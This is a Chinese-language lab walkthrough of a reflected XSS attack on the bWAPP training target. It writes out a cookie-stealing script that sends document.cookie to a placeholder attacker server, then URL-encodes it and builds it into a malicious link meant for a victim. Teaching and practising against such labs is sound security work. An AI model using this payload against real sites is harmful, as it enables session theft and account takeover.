- 实验环境介绍
靶机:bWAPP
bug类型:XSS - Reflected (GET)
难度级别:low
过程:
注:部分浏览器默认开启了XSS防御,关闭后才能实验成功。 - 测试靶机(图中的web server)是否存在XSS攻击。
URL地址:“http://192.168.248.174/dvwa/bWAPP/xss_get.php”
输入js代码
<script>alert(123);</script>
执行成功,如下图所示。说明在此处存在XSS攻击。
当我们在fist name和last name中输入数据并提交时,URL变为http://192.168.248.174/dvwa/bWAPP/xss_get.php?firstname=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E&lastname=22&form=submit
,这就是URLA。可以看到URLA进行了URL编码。 - 构建xss攻击URLB
思路:
把URLB发送给受害者,受害者打开URLB地址,把受害者在URLA中的cookie传给攻击者的服务器。这里参考了该文章。
3.1在服务器端构建脚本,保存受害者传来的cookie。
3.2构建URLB
攻击脚本代码如下(ip_address为攻击者服务器地址):
<script>document.location="http://ip_address/s_xss/getCookies.php?cookie="+document.cookie</script>
进行URL编码
%3cscript%3edocument.location%3d%22http%3a%2f%2fip_address%2fs_xss%2fgetCookies.php%3fcookie%3d%22+document.cookie%3c%2fscript%3e
利用URLA拼接构成具有攻击效果的URLB
http://192.168.248.174/dvwa/bWAPP/xss_get.php?firstname=%3cscript%3edocument.location%3d%22http%3a%2f%2fip_address%2fs_xss%2fgetCookies.php%3fcookie%3d%22+document.cookie%3c%2fscript%3e&lastname=22&form=submit
- 把URLB发送给受害者,若此时受害者登录了URLA,打开URLB后,攻击者的服务器记录下受害的在URLA的cookie。